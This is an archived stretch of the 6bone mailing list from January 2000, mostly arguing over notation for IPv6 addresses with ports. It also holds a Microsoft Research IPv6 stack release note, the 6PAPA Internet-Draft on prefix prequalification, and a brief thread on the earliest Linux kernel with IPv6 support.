References: <v0313031fb4a1458de4c6@[10.33.10.14]> <200001131226.NAA25176@bagira.iit.bme.hu> <20000113181536.A13498@uio.no> <20000113164408.B73420@rtfm.net> <87r9fkoabo.fsf@snark.piermont.com>
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On Fri, Jan 14, 2000 at 12:02:51PM -0500, Perry E. Metzger wrote:
> 
> Nathan Dorfman <nathan@rtfm.net> writes:
> > [ and ] are metacharacters in the POSIX-specified standard Unix shell;
> > as well as bash, bash2, ksh, csh, tcsh and zsh. Since this list
> > comprises something like 99% of all Unix shells used, characters
> > marked as reserved by *all* of them are a really bad choice.
> 
> Who the hell cares? No one is going to enter in address literals
> except in extreme circumstances anyway. They're a mile long.

Bull. Network administrators will still have to deal with addresses.
They'd probably also prefer to be able to do this from the Unix shell
without a menagerie of backslashes and single quotes.

> .pm

-- 
Nathan Dorfman <nathan@rtfm.net>         The statements and opinions in my
Unix Admin @ Frontline Communications    public posts are mine, not FCC's.
"The light at the end of the tunnel is the headlight of an approaching
train." --/usr/games/fortune

From 6bone-owner  Fri Jan 14 10:23:20 2000
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To: Nathan Dorfman <nathan@rtfm.net>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
References: <v0313031fb4a1458de4c6@[10.33.10.14]> <200001131226.NAA25176@bagira.iit.bme.hu> <20000113181536.A13498@uio.no> <20000113164408.B73420@rtfm.net> <87r9fkoabo.fsf@snark.piermont.com> <20000114123427.A18012@rtfm.net>
From: "Perry E. Metzger" <perry@piermont.com>
Date: 14 Jan 2000 13:23:26 -0500
In-Reply-To: Nathan Dorfman's message of "Fri, 14 Jan 2000 12:34:27 -0500"
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Nathan Dorfman <nathan@rtfm.net> writes:
> On Fri, Jan 14, 2000 at 12:02:51PM -0500, Perry E. Metzger wrote:
> > 
> > Nathan Dorfman <nathan@rtfm.net> writes:
> > > [ and ] are metacharacters in the POSIX-specified standard Unix shell;
> > > as well as bash, bash2, ksh, csh, tcsh and zsh. Since this list
> > > comprises something like 99% of all Unix shells used, characters
> > > marked as reserved by *all* of them are a really bad choice.
> > 
> > Who the hell cares? No one is going to enter in address literals
> > except in extreme circumstances anyway. They're a mile long.
> 
> Bull. Network administrators will still have to deal with addresses.

I've run networks for years and I can't remember myself typing in a
URL with an address in it as part of a job. I can remember typing in
addresses lots of other times, of course, but not for that.

> They'd probably also prefer to be able to do this from the Unix shell
> without a menagerie of backslashes and single quotes.

Really, who cares. Two single quotes are going to kill people on the
rare occassion it shows up? I don't think so.

And if it will kill people, this isn't the forum. You could have
argued about this in the IETF working group a long time ago (and I
assure you it WAS argued about.)

Perry

From 6bone-owner  Fri Jan 14 11:04:55 2000
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: IPv6 address/port format
To: perry@piermont.com (Perry E. Metzger)
Date: Fri, 14 Jan 2000 11:04:46 -0800 (PST)
Cc: nathan@rtfm.net (Nathan Dorfman), 6bone@ISI.EDU
In-Reply-To: <87r9fkoabo.fsf@snark.piermont.com> from "Perry E. Metzger" at Jan 14, 2000 12:02:51 PM
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% Nathan Dorfman <nathan@rtfm.net> writes:
% > [ and ] are metacharacters in the POSIX-specified standard Unix shell;
% > as well as bash, bash2, ksh, csh, tcsh and zsh. Since this list
% > comprises something like 99% of all Unix shells used, characters
% > marked as reserved by *all* of them are a really bad choice.
% 
% Who the hell cares? No one is going to enter in address literals
% except in extreme circumstances anyway. They're a mile long.
% 
% .pm

Well, I care, esp. when rebooting the Internet. :)

--bill

From 6bone-owner  Fri Jan 14 11:11:30 2000
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From: Richard Draves <richdr@microsoft.com>
To: "'IPng List'" <ipng@sunroof.eng.sun.com>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: MSR IPv6 Release 1.4
Date: Fri, 14 Jan 2000 11:05:00 -0800
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Microsoft Research is please to announce Release 1.4 of our MSR IPv6 stack
for Windows NT 4.0 and Windows 2000. See
http://www.research.microsoft.com/msripv6 for more details and download
information. The release includes freely-available source code as well as
precompiled binaries.

Major new functionality for this release includes scoped address support in
the API and the stack, Plug'n'Play and Power Management on Windows 2000, and
automated 6to4 configuration. 

The scoped address support includes sin6_scope_id, getaddrinfo/getnameinfo,
and related changes and APIs. We support site-local addressing with site
prefixes (Nordmark's draft) and multi-sited nodes. For literal addresses
with scope ids, we use the format "scope-id/address".

On Windows 2000, USB and PCMCIA network interfaces can now be added to or
removed from the system on the fly and the stack will reconfigure itself
accordingly. Similarly, one can disconnect and reconnect network links or
hibernate and resume a system and the MSR IPv6 stack will do the right
thing. It is possible to dynamically unload and reload the stack without
rebooting. 

The new 6to4cfg program automates 6to4 configuration. The 6to4 transition
technique lets IPv6 sites communicate transparently over the IPv4 internet
backbone. 6to4cfg makes it very easy to setup a 6to4 gateway router and
connect sites to the 6bone via 6to4. See our 6to4 documentation:
http://www.research.microsoft.com/msripv6/docs/6to4.htm. 

And of course, there are many miscellaneous enhancements and fixes.

Thanks,
Rich

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Date: Fri, 14 Jan 2000 14:44:41 -0500
From: "Michael H. Warfield" <mhw@wittsend.com>
To: Nathan Dorfman <nathan@rtfm.net>
Cc: "Perry E. Metzger" <perry@piermont.com>, 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
Message-ID: <20000114144441.B1942@alcove.wittsend.com>
References: <v0313031fb4a1458de4c6@[10.33.10.14]> <200001131226.NAA25176@bagira.iit.bme.hu> <20000113181536.A13498@uio.no> <20000113164408.B73420@rtfm.net> <87r9fkoabo.fsf@snark.piermont.com> <20000114123427.A18012@rtfm.net>
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On Fri, Jan 14, 2000 at 12:34:27PM -0500, Nathan Dorfman wrote:
> On Fri, Jan 14, 2000 at 12:02:51PM -0500, Perry E. Metzger wrote:

> > Nathan Dorfman <nathan@rtfm.net> writes:
> > > [ and ] are metacharacters in the POSIX-specified standard Unix shell;
> > > as well as bash, bash2, ksh, csh, tcsh and zsh. Since this list
> > > comprises something like 99% of all Unix shells used, characters
> > > marked as reserved by *all* of them are a really bad choice.

> > Who the hell cares? No one is going to enter in address literals
> > except in extreme circumstances anyway. They're a mile long.

> Bull. Network administrators will still have to deal with addresses.
> They'd probably also prefer to be able to do this from the Unix shell
> without a menagerie of backslashes and single quotes.

	Bull...  Network administrators are ALREADY use to escaping known
and various metacharacters all the way back to "bang paths" in E-Mail
addresses under csh (bash wasn't around back in those days and sh didn't
have ! history) and for UUCP.  [Yes, I'm that $$#@ old that I remember and
actually used some of that stuff...]  It's gotten so it's second nature
to either single quote or escape anything with anything even resembling
a meta character in it no matter which shell I'm using.

	That being said, there is the potential for one very real gotcha
with this scheme...  If one of the URL's gets fed to a perl script, there
is the potential for trouble.  Why?  Because many of the perl scripts are
now (hopefully) being coded to watch out for and prohibit certain meta
characters because several of them have been used to open security holes.
I don't see where [] is likely to open up a security hole but processing
in a regex could get "amusing".  :-)  This actually goes beyond perl,
since a lot of apps are scanning for meta characters and other script-kiddie
amusements, but perl CGI scripts seem to be the most likely to get burnt.
Even sendmail got broken into several times through meta characters tricks,
though I don't see this being a problem with sendmail (the port issue that
is).

	This is also much more likely to come up than someone entering in
a raw address URL on a command line.

> > .pm

> -- 
> Nathan Dorfman <nathan@rtfm.net>         The statements and opinions in my
> Unix Admin @ Frontline Communications    public posts are mine, not FCC's.
> "The light at the end of the tunnel is the headlight of an approaching
> train." --/usr/games/fortune

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!


From 6bone-owner  Fri Jan 14 12:25:55 2000
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Date: Fri, 14 Jan 2000 12:25:53 -0800 (PST)
From: Jeremy Weatherford <xidus@xidus.net>
To: Stephen Burley <stephenb@uk.uu.net>
cc: "Steinar H. Gunderson" <sgunderson@bigfoot.com>, 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
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Using '>' anywhere would be a really bad choice, since it's both a shell
redirection character AND an HTML metacharacter.  Try making a hyperlink
to a URL with a '>' in the address...

The best option so far seems to be:

http://[aa.bb.cc.dd.ee.ff.gg.hh]:8080/url

I don't think this will worsen the problem that already exists with shell
metacharacters being present in URLs.

Jeremy Weatherford
xidus@xidus.net
http://xidus.net/

On Fri, 14 Jan 2000, Stephen Burley wrote:

> What is wrong with using > as a direction to a port symbol. We are making
> far too much of this. White space will do it always has up till now.
> 
> ----------------------------------
> E-Mail: stephenb@uk.uu.net 
> Phone: +44 (0)1223 581051
> 
> 
> Stephen Burley
> EMEA Registrar UUNET
> ----------------------------------
> 
> On Thu, 13 Jan 2000, Steinar H. Gunderson wrote:
> 
> > On Thu, Jan 13, 2000 at 01:26:10PM +0100, MARAY Tamas wrote:
> > >Wrong. Conflicts with the UNIX shell.
> > 
> > There are multiple UNIX shells, or at least multiple shells in
> > use on UNIX (and UNIX-like) systems. I don't know if this conflicts
> > with all of them, but I doubt it. Your argument is valid, but no
> > matter which standard we choose, we will run into conflicts. We'll
> > just have to find out how to minimize those conflicts.
> > 
> > /* Steinar */
> > -- 
> > Homepage: http://members.xoom.com/sneeze/
> > 
> 


From 6bone-owner  Fri Jan 14 14:44:50 2000
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To: "Perry E. Metzger" <perry@piermont.com>
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On 14 Jan 2000, Perry E. Metzger wrote:

> > Bull. Network administrators will still have to deal with addresses.
> 
> I've run networks for years and I can't remember myself typing in a
> URL with an address in it as part of a job. I can remember typing in
> addresses lots of other times, of course, but not for that.

We should think when [ ] should be used..
In telnet we give port after space..
In ftp we often use ncftp and type port in parameter..
I see problems only with lynx and wget...

-------------------------------------------------------------
= Wojciech Bojdo/l  wojboj@lp.net.pl  www.lp.net.pl/~wojboj =
[  Nie ma rzeczy niemozliwych - sa tylko nieprawdopodobne   ]
-------------------------------------------------------------


From 6bone-owner  Sat Jan 15 17:07:06 2000
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From: Bob Fink <fink@es.net>
Subject: 6BONE Pre-Qualification for Address Prefix Allocation (6PAPA)
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INTERNET-DRAFT                                          Bob Fink, ESnet
January 10, 2000

          6BONE Pre-Qualification for Address Prefix Allocation (6PAPA)

                  <draft-ietf-ngtrans-6bone-6papa-01.txt>


Abstract

This memo describes how the 6bone may be used as a prequalification step
during the "bootstrap" phase of sub-TLA assignment by the Regional
Internet Registries (RIRs).


Status of this Memo

This document is an Internet-Draft and is in full conformance with all
provisions of Section 10 of RFC2026.

Internet-Drafts are working documents of the Internet Engineering Task
Force (IETF), its areas, and its working groups.  Note that other groups
may also distribute working documents as Internet-Drafts.

Internet-Drafts are draft documents valid for a maximum of six months and
may be updated, replaced, or obsoleted by other documents at any time.  It
is inappropriate to use Internet-Drafts as reference material or to cite
them other than as "work in progress."

The list of current Internet-Drafts can be accessed at
http://www.ietf.org/ietf/1id-abstracts.txt

The list of Internet-Draft Shadow Directories can be accessed at
http://www.ietf.org/shadow.html.

This Internet Draft expires July 10, 2000.


Acknowledgements

Ideas in this draft are, in part, contributions of various IETF working
groups, the Regional Internet Registries, participants of the 6bone
testbed, and the worldwide IPv6 community.


Contents

Status of this Memo..........................................

Acknowledgements.............................................

1.  Introduction.............................................

2.  6BONE Prequalification for sub-TLAs......................

3.  Security Considerations..................................

4.  Change Log...............................................

REFERENCES...................................................

AUTHOR'S ADDRESS.............................................


1. Introduction

This memo describes how the 6bone is used as a prequalification step
during the "bootstrap" phase of sub-TLA assignment by the Regional
Internet Registries (RIRs). It is based on the following points.

1.1 The 6bone community represented the world-wide IPv6 operational
networking community as of early 1999, including all existing IPv6
providers and users in the world, operating under the only IPv6 address
allocation and authority in place at that time, i.e., the 3FFE::/16 TLA
allocation to the 6bone, documented in [6BONE-TLA].

1.2 The 6bone uses a well defined top level address structure called a
pseudo-TLA (pTLA), documented in [PSEUDO], that is delegated from its
3FFE::/16 allocation, that all top level 6BONE IPv6 transit providers use.

1.3 The 6bone process for allocation of pTLA-s is well defined in section
7 of [HARDEN] and is well accepted by the 6bone community.

1.4 The 6bone community as a whole is willing to provide their knowledge,
experience and opinions as part of a process to help "bootstrap" the sub-
TLA address allocation process for the RIRs.


2. 6BONE Prequalification for sub-TLAs

2.1 A sub-TLA requestor (sTR) places a sub-TLA request with the
appropriate RIR, per the RIR's own sub-TLA procedures, indicating that
they intend to use 6bone prequalification.

2.2 The sTR follows the published process for becoming a pTLA as
documented in Section 7 of [HARDEN]. (Note that [HARDEN] specifies the
minimum time from first joining the 6bone as an end-site network to
becoming a pTLA as 3 months.) Those pTLA allocations in effect prior to
[HARDEN], or its predecessor RFC2546, are considered to have met all
requirements for becoming a pTLA. However, 2.3 still applies.

2.3 An sTR must have operated as a pTLA for at least 3 months, with at
least 3 active delegations under its pTLA (either lower level transits or
end-sites, or a mix of both), for the sTR to meet the 6bone experience
criterion (6EC).

2.4 A 6bone steering group (6SG), consisting of 3-5 persons established
by 6bone participant consensus, uses factual operational information and
other relevant experience of the sTR to determine if the 6EC has been met.
It is expected that the 6SG will respond within 30 days. It is up to the
RIR's own policies and procedures to determine what happens if this time
is not met.

2.5 After allocation of a sub-TLA to the sTR (by an RIR), the sTR may
optionally renumber from the 6bone pTLA prefix to the new sub-TLA prefix,
or continue to use their pTLA for multihoming purposes. If the pTLA space
becomes over subscribed, the most likely networks to be asked to surrender
a pTLA would be those holding production TLA/sub-TLA prefix space.
Given the large size of the pTLA space this is not considered likely to
ever happen.


3.  Security Considerations

There are no security considerations of this document as it only specifies
a process of recommendations made to IPv6 Address Registries for
prequalification for production IPv6 Address Prefix allocations.


4.  Change Log

Changes since version -00 of the draft:

Various rewordings for clarity.

Replace [RFC 2546] references with new HARDEN specification now
approved as Informational RFC.

Notes that pTLAs prior to [HARDEN] and RFC 2546 are legitimate pTLAs,
though still 3 months of oeprating experience with at leasts 3
delegations.

Removal of the previous 2.2 requirement that the sTR notifies the 6bone
list of intent to use the 6PP.

In previous 2.4 (now 2.3) clarifies that it is 6bone experience criteria
that is being met by the sTR for operating for 3 months.

The new 2.4 specifies a 6SG maximum response interval of 30 days, with the
RIR being responsible for deciding what to do when this time is exceeded.

Removal of any mention or implication that the 6bone community us stating
that an sTR is qualified for a sub-TLA allocation.

Removal of previous 2.6 regarding time out issues.

Removal of section 3. Only meaningful removal was regarding some pTLA-s
not qualifying for this process due to the nature of there network.
This had been regarded as unfair and unreasonable and there was general
agreement to remove this.


REFERENCES

[KEYWORDS] S. Bradner, "Key words for use in RFCs to Indicate
Requirement Levels", RFC 2119, March 1997.

[6BONE-TLA] R. Hinden, R. Fink, J. Postel, "IPv6 Testing Address
Allocation", RFC 2471, December 1998.

[PSEUDO] R. Fink, "6bone pTLA & pNLA Formats", see <http://6bone.net>,
January, 2000.

[HARDEN] R. Rockell, R. Fink, "6Bone Backbone Routing Guidelines",
RFC xxxx, December 1999. Replaces RFC 2546.


AUTHOR'S ADDRESS

         Bob Fink, ESnet
         Lawrence Berkeley National Lab
         MS 50A-3111
         1 Cyclotron Road
         Berkeley, CA 94720
         USA

         phone: +1 510 486 5692
         fax:   +1 510 486 4790
         email: fink@es.net

-end


From 6bone-owner  Sun Jan 16 00:58:22 2000
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From: Robert Elz <kre@munnari.OZ.AU>
To: 6bone@ISI.EDU
Subject: Re: IPv6 address/port format 
In-Reply-To: Your message of "Fri, 14 Jan 2000 12:34:27 CDT."
             <20000114123427.A18012@rtfm.net> 
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    Date:        Fri, 14 Jan 2000 12:34:27 -0500
    From:        Nathan Dorfman <nathan@rtfm.net>
    Message-ID:  <20000114123427.A18012@rtfm.net>

  | Bull. Network administrators will still have to deal with addresses.
  | They'd probably also prefer to be able to do this from the Unix shell
  | without a menagerie of backslashes and single quotes.

It is hard to believe that this ridiculous topic has come up again.

Address literals in IPv6 ought to be forbidden everywhere, except for
those applications which are configuring IPv6 addresses to interfaces
(and as that is generally done automatically, or by DHCP, that really
means for most cases, only in DHCP config files).

A much better solution for all other uses (all these network managers
who just have to use literal addresses) is to have the name to address
library routines (the things that call the resolver) have an "override"
switch (via an environment variable) that will allow the user to create
a file of domain name lookalikes, and associated IP addresses (perhaps
only in some locally defined bogus domain - or perhaps only with no dots
in the names at all), after which the library simply searches the file
for the name, and substitutes the address.   Then when someone who for
some exotic reason really does need to use a literal address, they just
add it to their file, with some shortname label as the domain name, then
just use the label in the URL (or any other place where a domain name
would work, but for whatever bizarre reason can't work).   This is easier
for the user faced with using a literal address (no strange syntax, no
weird quoting, and the address only needs to be typed once, no matter how
many times it has to be referenced) - and much better for applications
and systems, which no longer need to deal with this odd special case which
is almost neevr going to be used.

A side effect is that there's no way to embed a literal address in a web
page (or whatever) as there would be no way to get the literal out into
the user's file (other than requesting that it be typed in) - this is a
feature!

kre


From 6bone-owner  Sun Jan 16 10:27:25 2000
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From: Gregg C Levine <hansolofalcon@worldnet.att.net>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Linux and IPv6
Date: Sun, 16 Jan 2000 13:27:47 -0500
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Hello from Gregg C Levine
Just out of curiosity, does anybody, have an early kernel running IPv6? 
Most of the ones for Slackware that I have seen with it, are version 2.0.32 
and later. The current version of Slackware, is 7.0, if anybody is curious, 
and they are running Redhat, or Debian, or heck, they made it themselves, 
out of everybody else's software.
Gregg C Levine mailto:hansolofalcon@worldnet.att.net
"They were in the wrong place, at the wrong time, naturally they became 
heroes."
Princess Leia Organna of Alderann, Senator
"Remember, the Force will be with you."
Obi-Wan(Ben) Kenobi, Jedi Knight and, General, (Retired)
"No! Try not. Do... or do not. There is no try." - Yoda, Jedi Master
"May the Force be with you." Anonymous


From 6bone-owner  Sun Jan 16 17:09:49 2000
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From: Gregg C Levine <hansolofalcon@worldnet.att.net>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: Linux and IPv6
Date: Sun, 16 Jan 2000 20:09:58 -0500
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Hello again from Gregg C Levine usually at Jedi Knight Computers
 I think I mis-stated myself. What I wanted to say, is this: What is the 
earliest kernel that would support IPv6 functions? Then the rest of it, 
still applies.
Gregg C Levine mailto:hansolofalcon@worldnet.att.net
"They were in the wrong place, at the wrong time, naturally they became 
heroes."
Princess Leia Organna of Alderann, Senator
"Remember, the Force will be with you."
Obi-Wan(Ben) Kenobi, Jedi Knight and, General, (Retired)
"No! Try not. Do... or do not. There is no try." - Yoda, Jedi Master
"May the Force be with you." Anonymous
On Sunday, January 16, 2000 1:28 PM, Gregg C Levine 
[SMTP:hansolofalcon@worldnet.att.net] wrote:
> Hello from Gregg C Levine
> Just out of curiosity, does anybody, have an early kernel running IPv6?
> Most of the ones for Slackware that I have seen with it, are version 
2.0.32
> and later. The current version of Slackware, is 7.0, if anybody is 
curious,
> and they are running Redhat, or Debian, or heck, they made it themselves, 
> out of everybody else's software.
> Gregg C Levine mailto:hansolofalcon@worldnet.att.net
> "They were in the wrong place, at the wrong time, naturally they became
> heroes."
> Princess Leia Organna of Alderann, Senator
> "Remember, the Force will be with you."
> Obi-Wan(Ben) Kenobi, Jedi Knight and, General, (Retired)
> "No! Try not. Do... or do not. There is no try." - Yoda, Jedi Master
> "May the Force be with you." Anonymous

From 6bone-owner  Mon Jan 17 08:06:47 2000
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Subject: Re: Linux and IPv6
To: hansolofalcon@worldnet.att.net (Gregg C Levine)
Date: Mon, 17 Jan 2000 19:06:26 +0300 (MSK)
Cc: 6bone@ISI.EDU
In-Reply-To: <01BF605D.AC916CE0.hansolofalcon@worldnet.att.net> from "Gregg C Levine" at Jan 16, 0 08:09:58 pm
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Hello!

>  I think I mis-stated myself. What I wanted to say, is this: What is the 
> earliest kernel that would support IPv6 functions?

linux-2.1.8

Alexey Kuznetsov

From 6bone-owner  Mon Jan 17 08:11:03 2000
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Subject: Re: IPv6 address/port format
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Hi
	Ok so we have been round and round on this subject but no one
	seems to have suggested the obvious. We are using x.x.x.x:nn for
	ipv4 why not use x:x:x:x.nn for ipv6.

I will now don my fire proof vest.

Regards,
-- 
----------------------------------
E-Mail: stephenb@uk.uu.net 
Phone: +44 (0)1223 581051


Stephen Burley
EMEA Registrar UUNET
----------------------------------


From 6bone-owner  Mon Jan 17 10:10:44 2000
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Date: Mon, 17 Jan 2000 13:10:45 -0500
From: "Michael H. Warfield" <mhw@wittsend.com>
To: stephenb@uk.uu.net
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
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On Mon, Jan 17, 2000 at 03:56:43PM +0000, stephenb@uk.uu.net wrote:
> Hi
> 	Ok so we have been round and round on this subject but no one
> 	seems to have suggested the obvious. We are using x.x.x.x:nn for
> 	ipv4 why not use x:x:x:x.nn for ipv6.

	What about the IPv4 compatibility notation?

	::130.205.0.20 for my address.  Now port would be ::130.205.0.20.80?

> I will now don my fire proof vest.

> Regards,
> -- 
> ----------------------------------
> E-Mail: stephenb@uk.uu.net 
> Phone: +44 (0)1223 581051
> 
> 
> Stephen Burley
> EMEA Registrar UUNET
> ----------------------------------

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!


From 6bone-owner  Mon Jan 17 12:42:16 2000
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To: kuznet@ms2.inr.ac.ru
cc: Gregg C Levine <hansolofalcon@worldnet.att.net>, 6bone@ISI.EDU
Subject: Re: Linux and IPv6
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On Mon, 17 Jan 2000 kuznet@ms2.inr.ac.ru wrote:

> Hello!
> 
> >  I think I mis-stated myself. What I wanted to say, is this: What is the 
> > earliest kernel that would support IPv6 functions?
> 
> linux-2.1.8

2.1.x being a development series kernel, and 2.2.x being the production
one.

> Alexey Kuznetsov

wfms


From 6bone-owner  Mon Jan 17 16:32:40 2000
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From: Jim Bound <bound@zk3.dec.com>
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To: "Michael H. Warfield" <mhw@wittsend.com>
Cc: stephenb@uk.uu.net, 6bone@ISI.EDU
Subject: Re: IPv6 address/port format 
In-reply-to: Your message of "Mon, 17 Jan 2000 13:10:45 EST."
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	>What about the IPv4 compatibility notation?

	>::130.205.0.20 for my address.  Now port would be ::130.205.0.20.80?

We could just get rid of IPv4 compatible addresses :---)....

/jim

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Subject: Re: IPv6 address/port format 
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On Mon, 17 Jan 2000, Jim Bound wrote:

> 	>What about the IPv4 compatibility notation?
> 
> 	>::130.205.0.20 for my address.  Now port would be ::130.205.0.20.80?
> 
> We could just get rid of IPv4 compatible addresses :---)....

we don't need to...
When we write IPv4 compatible address it can look:
:k.l.m.n:o.p.q.r
but it can't look:
:k.l.m.n:o.p.q.r.s

If our resolver function 'll count how many dot's it got after last :
and if there's no next :, and it's 5th dot, it can get it as port.

I think it can be good idea, but we should check if it would be hard to
implement.

-- 
-------------------------------------------------------------
= Wojciech Bojdo/l  wojboj@lp.net.pl  www.lp.net.pl/~wojboj =
[    No things are impossible - they're only incredible     ]
-------------------------------------------------------------


From 6bone-owner  Tue Jan 18 05:53:09 2000
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Date: Tue, 18 Jan 2000 08:41:39 -0500
From: "Michael H. Warfield" <mhw@wittsend.com>
To: Wojtek Bojdo/l <wojboj@lp.net.pl>
Cc: Jim Bound <bound@zk3.dec.com>, "Michael H. Warfield" <mhw@wittsend.com>,
        stephenb@uk.uu.net, 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
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	Just love playing devil's advocate...

On Tue, Jan 18, 2000 at 07:13:14AM +0100, Wojtek Bojdo/l wrote:
> 
> On Mon, 17 Jan 2000, Jim Bound wrote:
> 
> > 	>What about the IPv4 compatibility notation?
> > 
> > 	>::130.205.0.20 for my address.  Now port would be ::130.205.0.20.80?
> > 
> > We could just get rid of IPv4 compatible addresses :---)....

> we don't need to...
> When we write IPv4 compatible address it can look:
> :k.l.m.n:o.p.q.r
> but it can't look:
> :k.l.m.n:o.p.q.r.s

	Ok...  Pop quiz.

	::130.205.1.143

	Is that port 143 on system 130.205.1.0 (host 1.0 on network 130.205)
or is that host 130.205.1.143?  It's a rare case, but legitimate.  In
IPv4 notation they allow 130.20.1 to be the equivalent of 130.205.1.0 in
full.  This is BUTT UGLY, IMHO, but apparently legal and I've actually
encountered some people using it and pointing it out to me.  So this one
particular instance is ambiguous, unless we specify, up front, that all four
of the dotted quads are specified in full for IPv4 compat notation.

> If our resolver function 'll count how many dot's it got after last :
> and if there's no next :, and it's 5th dot, it can get it as port.

	I had parsers that have to do things like that (although you have
to do things like that for syntax checking anyways).  :-)

> I think it can be good idea, but we should check if it would be hard to
> implement.

> -- 
> -------------------------------------------------------------
> = Wojciech Bojdo/l  wojboj@lp.net.pl  www.lp.net.pl/~wojboj =
> [    No things are impossible - they're only incredible     ]
> -------------------------------------------------------------

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!


From 6bone-owner  Tue Jan 18 19:32:10 2000
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From: Tomas Lund <tlund@nxs.se>
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cc: 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
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On Tue, 18 Jan 2000, Michael H. Warfield wrote:

> 	Ok...  Pop quiz.
> 
> 	::130.205.1.143
> 
> 	Is that port 143 on system 130.205.1.0 (host 1.0 on network 130.205)
> or is that host 130.205.1.143?  It's a rare case, but legitimate.  In
> IPv4 notation they allow 130.20.1 to be the equivalent of 130.205.1.0 in

[snip]

I think you mean 130.205.0.1...

[sloth]:~$ telnet 10.1
Trying 10.0.0.1...

//tlund


From 6bone-owner  Tue Jan 18 22:13:54 2000
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Subject: Re: IPv6 address/port format
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On Tue, 18 Jan 2000, Michael H. Warfield wrote:

> 	Ok...  Pop quiz.
> 
> 	::130.205.1.143
> 
> 	Is that port 143 on system 130.205.1.0 (host 1.0 on network 130.205)
> or is that host 130.205.1.143?  It's a rare case, but legitimate.  In
> IPv4 notation they allow 130.20.1 to be the equivalent of 130.205.1.0 in
> full.  This is BUTT UGLY, IMHO, but apparently legal and I've actually
> encountered some people using it and pointing it out to me.  So this one
> particular instance is ambiguous, unless we specify, up front, that all four
> of the dotted quads are specified in full for IPv4 compat notation.

but... who want's to telnet to network address port 23?
or to look at home page of network addr?
::130.205.1.143..80 can be also a good idea.

-- 
-------------------------------------------------------------
= Wojciech Bojdo/l  wojboj@lp.net.pl  www.lp.net.pl/~wojboj =
[    No things are impossible - they're only incredible     ]
-------------------------------------------------------------


From 6bone-owner  Wed Jan 19 00:22:35 2000
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Date: Tue, 18 Jan 2000 15:13:25 +0000
From: Mark Thompson <mkt@ecs.soton.ac.uk>
To: "Michael H. Warfield" <mhw@wittsend.com>
Cc: Wojtek Bojdo/l <wojboj@lp.net.pl>, Jim Bound <bound@zk3.dec.com>,
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Subject: Re: IPv6 address/port format
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On 08:41(GMT) 18-01-00, Michael H. Warfield wrote:
> > we don't need to...
> > When we write IPv4 compatible address it can look:
> > :k.l.m.n:o.p.q.r
> > but it can't look:
> > :k.l.m.n:o.p.q.r.s
> 
> 	Ok...  Pop quiz.
> 
> 	::130.205.1.143
> 
> 	Is that port 143 on system 130.205.1.0 (host 1.0 on network 130.205)
> or is that host 130.205.1.143?  It's a rare case, but legitimate.  In
> IPv4 notation they allow 130.20.1 to be the equivalent of 130.205.1.0 in
> full.  This is BUTT UGLY, IMHO, but apparently legal and I've actually
> encountered some people using it and pointing it out to me.  So this one
> particular instance is ambiguous, unless we specify, up front, that all four
> of the dotted quads are specified in full for IPv4 compat notation.

OK, so why not borrow some semantics from prefixlen?

::152.78.65.197/32:23

IPv4 compatible address for IPv4 host 152.78.65.197, which is host 65.197
on network 152.78 (32 bit prefix length), port 23

Fairly succint in that it is not introducing any new concepts (IPv4 uses
colons to delimit address from ports). It means that if we're not always
expressing the prefix length, we end up with ::152.78.65.197/:23

It gets around the problems highlighted so far, but perhaps isn't as
eligant as what people are expecting. Needs more thought :-)

Mark/
-- 
details at: http://www.ecs.soton.ac.uk/info/people/mkt

From 6bone-owner  Wed Jan 19 02:27:24 2000
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Date: Wed, 19 Jan 2000 23:26:27 +1300
From: Joe Abley <jabley@patho.gen.nz>
To: Wojtek Bojdo/l <wojboj@lp.net.pl>
Cc: "Michael H. Warfield" <mhw@wittsend.com>, 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
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On Wed, Jan 19, 2000 at 07:14:09AM +0100, Wojtek Bojdo/l wrote:
> but... who want's to telnet to network address port 23?
> or to look at home page of network addr?
> ::130.205.1.143..80 can be also a good idea.

This list used to be for discussion of 6bone operations, before
it inexplicably descended into inane chit-chat about URI notation.

If this discussion really does have to happen again, can't it happen
somewhere else?


Joe

From 6bone-owner  Wed Jan 19 04:32:58 2000
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=> 	Is that port 143 on system 130.205.1.0 (host 1.0 on network 130.205)
=> or is that host 130.205.1.143?  It's a rare case, but legitimate.  In
=> IPv4 notation they allow 130.20.1 to be the equivalent of 130.205.1.0 in
=
=[snip]
=
=I think you mean 130.205.0.1...
=
=[sloth]:~$ telnet 10.1
=Trying 10.0.0.1...

  That's exactly why we should avoid room for (different) interpretations.
  
  "Everyone" in the routing world would read(expand) 10.1 as 10.1.0.0/16 :-)
  and I suppose most of the tools (other than your telnet :-) would expand
  that to 10.1.0.0/32 ....
  
  Wilfried.

From 6bone-owner  Wed Jan 19 07:54:13 2000
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Message-ID: <14469.56860.989804.547352@ballista.eng.us.uu.net>
Date: Wed, 19 Jan 2000 10:54:04 -0500 (EST)
To: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
Cc: tlund@nxs.se, 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
In-Reply-To: Wilfried Woeber, UniVie/ACOnet's message of Wed, 19 January 2000 13:32:57 MET <009E460A.29547528.2@cc.univie.ac.at>
